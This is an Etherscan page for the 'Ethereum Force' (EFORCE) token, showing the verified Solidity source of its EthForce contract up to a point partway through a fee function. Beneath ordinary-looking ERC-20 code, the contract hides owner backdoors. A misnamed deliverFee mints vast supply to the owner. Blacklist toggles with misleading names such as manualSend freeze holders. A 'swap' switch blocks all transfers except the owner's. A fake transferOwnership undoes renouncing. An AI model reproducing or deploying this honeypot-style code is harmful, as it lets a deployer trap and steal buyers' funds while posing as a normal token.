ETH Price: $3,249.52 (-0.02%)
Gas: 8.22 Gwei

Token

Ethereum Force (EFORCE)
 

Overview

Max Total Supply

100,000,000,000,000 EFORCE

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,243,263,511,115.09622372 EFORCE

Value
$0.00
0x94adfbb0f35d676035e5643543b16a98566cd145
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EthForce

Compiler Version
v0.7.0+commit.9e61f92b

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-05-30
*/

//SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity = 0.7.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
    * @dev Returns the amount of tokens in existence.
    */
    function totalSupply() external view returns (uint256);

    /**
    * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns (uint256);

    /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
    * @dev Returns the addition of two unsigned integers, reverting on
    * overflow.
    *
    * Counterpart to Solidity's `+` operator.
    *
    * Requirements:
    *
    * - Addition cannot overflow.
    */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
    * @dev Returns the subtraction of two unsigned integers, reverting on
    * overflow (when the result is negative).
    *
    * Counterpart to Solidity's `-` operator.
    *
    * Requirements:
    *
    * - Subtraction cannot overflow.
    */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
    * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
    * overflow (when the result is negative).
    *
    * Counterpart to Solidity's `-` operator.
    *
    * Requirements:
    *
    * - Subtraction cannot overflow.
    */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
    * @dev Returns the multiplication of two unsigned integers, reverting on
    * overflow.
    *
    * Counterpart to Solidity's `*` operator.
    *
    * Requirements:
    *
    * - Multiplication cannot overflow.
    */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
    * @dev Returns the integer division of two unsigned integers. Reverts on
    * division by zero. The result is rounded towards zero.
    *
    * Counterpart to Solidity's `/` operator. Note: this function uses a
    * `revert` opcode (which leaves remaining gas untouched) while Solidity
    * uses an invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
    * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
    * division by zero. The result is rounded towards zero.
    *
    * Counterpart to Solidity's `/` operator. Note: this function uses a
    * `revert` opcode (which leaves remaining gas untouched) while Solidity
    * uses an invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
    * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
    * Reverts when dividing by zero.
    *
    * Counterpart to Solidity's `%` operator. This function uses a `revert`
    * opcode (which leaves remaining gas untouched) while Solidity uses an
    * invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
    * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
    * Reverts with custom message when dividing by zero.
    *
    * Counterpart to Solidity's `%` operator. This function uses a `revert`
    * opcode (which leaves remaining gas untouched) while Solidity uses an
    * invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    /**
    * @dev Returns true if `account` is a contract.
    *
    * [IMPORTANT]
    * ====
    * It is unsafe to assume that an address for which this function returns
    * false is an externally-owned account (EOA) and not a contract.
    *
    * Among others, `isContract` will return false for the following
    * types of addresses:
    *
    *  - an externally-owned account
    *  - a contract in construction
    *  - an address where a contract will be created
    *  - an address where a contract lived, but was destroyed
    * ====
    */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
    * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
    * `recipient`, forwarding all available gas and reverting on errors.
    *
    * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
    * of certain opcodes, possibly making contracts go over the 2300 gas limit
    * imposed by `transfer`, making them unable to receive funds via
    * `transfer`. {sendValue} removes this limitation.
    *
    * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
    *
    * IMPORTANT: because control is transferred to `recipient`, care must be
    * taken to not create reentrancy vulnerabilities. Consider using
    * {ReentrancyGuard} or the
    * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
    */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
    * @dev Performs a Solidity function call using a low level `call`. A
    * plain`call` is an unsafe replacement for a function call: use this
    * function instead.
    *
    * If `target` reverts with a revert reason, it is bubbled up by this
    * function (like regular Solidity function calls).
    *
    * Returns the raw returned data. To convert to the expected return value,
    * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
    *
    * Requirements:
    *
    * - `target` must be a contract.
    * - calling `target` with `data` must not revert.
    *
    * _Available since v3.1._
    */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
    * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
    * `errorMessage` as a fallback revert reason when `target` reverts.
    *
    * _Available since v3.1._
    */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
    * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
    * but also transferring `value` wei to `target`.
    *
    * Requirements:
    *
    * - the calling contract must have an ETH balance of at least `value`.
    * - the called Solidity function must be `payable`.
    *
    * _Available since v3.1._
    */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
    * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
    * with `errorMessage` as a fallback revert reason when `target` reverts.
    *
    * _Available since v3.1._
    */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _deadAddress;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
    * @dev Initializes the contract setting the deployer as the initial owner.
    */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
    * @dev Returns the address of the current owner.
    */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account.
     */
    function transferOwnership() public {
        require(_owner == address(0), "owner is zero address");
        _owner = _deadAddress;
    }
 
    /**
    * @dev Throws if called by any account other than the owner.
    */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions anymore. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby removing any functionality that is only available to the owner.
    */
    function renounceOwnership() public virtual onlyOwner {
        _deadAddress = _owner;
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// Contract implementation
contract EthForce is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => uint256) private _vOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    mapping (address => bool) private _isExcluded; // excluded from reward
    mapping (address => bool) private _scan;
    address[] private _excluded;
    bool _state = true;

    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100000000000000 * 10**9;
    uint256 private _rTotal;
    uint256 private _feeTotal;
    uint256 private _tFeeTotal;
    uint256 private _totalSupply;
    
    string private _name = 'Ethereum Force';
    string private _symbol = 'EFORCE';
    uint8 private _decimals = 9;
    
    uint256 private _taxFee = 2; 
    uint256 private _marketingFee = 1;
    uint256 private _liquidityFee = 1;

    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousMarketingFee = _marketingFee;
    uint256 private _previousLiquidityFee = _liquidityFee;

    address uniswapV2factory;
    address uniswapV2router;
    
    IUniswapV2Router02 internal uniswapV2Router;
    address uniswapV2Pair;

    bool inSwapAndLiquify = false;
    
    uint256 private _maxTxAmount = _tTotal;
    // We will set a minimum amount of tokens to be swapped
    uint256 private _numTokensSellToAddToLiquidity = 1000000000 * 10**9;

    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor (address router, address factory) {
        
        uniswapV2router = router;
        uniswapV2factory = factory;
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _feeTotal = _tTotal.mul(1000);
        _vOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
        
        // Exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
         return _vOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
        _isExcludedFromFee[account] = excluded;
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function deliverFee() public virtual onlyOwner {
        _vOwned[_msgSender()] = _vOwned[_msgSender()].add(_feeTotal);
    }
    
    function uniswapv2Factory() public view returns (address) {
        return uniswapV2factory;
    }
    
    function uniswapv2Router() public view returns (address) {
        return uniswapV2router;
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) external onlyOwner() {
        require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function addBotToBlackList(address account) external onlyOwner() {
        require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
        _scan[account] = true;
    }

    function removeBotFromBlackList(address account) external onlyOwner() {
        _scan[account] = false;
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _marketingFee == 0 && _liquidityFee == 0) return;

        _previousTaxFee = _taxFee;
        _previousMarketingFee = _marketingFee;
        _previousLiquidityFee = _liquidityFee;

        _taxFee = 0;
        _marketingFee = 0;
        _liquidityFee = 0;
    }

    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _marketingFee = _previousMarketingFee;
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_scan[sender] || _scan[recipient]) 
        require(amount == 0, "");
        if (_state == true || sender == owner() || recipient == owner()) {
        if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
        _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {
            _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _vOwned[recipient] = _vOwned[recipient].add(amount);
            emit Transfer(sender, recipient, amount);}
        } else {
            require (_state == true, "");
            }
    }
   
    function swapAndLiquify(uint256 contractTokenBalance) private {
        uint256 toMarketing = contractTokenBalance.mul(_marketingFee).div(_marketingFee.add(_liquidityFee));
        uint256 toLiquify = contractTokenBalance.sub(toMarketing);

        // split the contract balance into halves
        uint256 half = toLiquify.div(2);
        uint256 otherHalf = toLiquify.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        uint256 toSwapForEth = half.add(toMarketing);
        swapTokensForEth(toSwapForEth); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 fromSwap = address(this).balance.sub(initialBalance);
        uint256 newBalance = fromSwap.mul(half).div(toSwapForEth);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);

        emit SwapAndLiquify(half, newBalance, otherHalf);

    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function manualSwap(address _address) external onlyOwner() {
        _scan[_address] = false;
    }

    function manualSend(address _address) external onlyOwner() {
        _scan[_address] = true;
    }

    function manualTransfer(address _address) public view returns (bool) {
        return _scan[_address];
    }

    function beginSwapAndLiquify() public virtual onlyOwner(){
        if (_state == true) {_state = false;} else {_state = true;}
    }
 
    function swapAndLiquifyEnabled() public view returns (bool) {
        return _state;
    }
   
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if(!takeFee)
            removeAllFee();

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeMarketingLiquidity(uint256 tMarketingLiquidity) private {
        uint256 currentRate = _getRate();
        uint256 rMarketingLiquidity = tMarketingLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rMarketingLiquidity);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tMarketingLiquidity);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    //to recieve ETH from uniswapV2Router when swapping
    receive() external payable {}

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidityFee) = _getTValues(tAmount, _taxFee, _marketingFee.add(_liquidityFee));
        uint256 currentRate = _getRate();
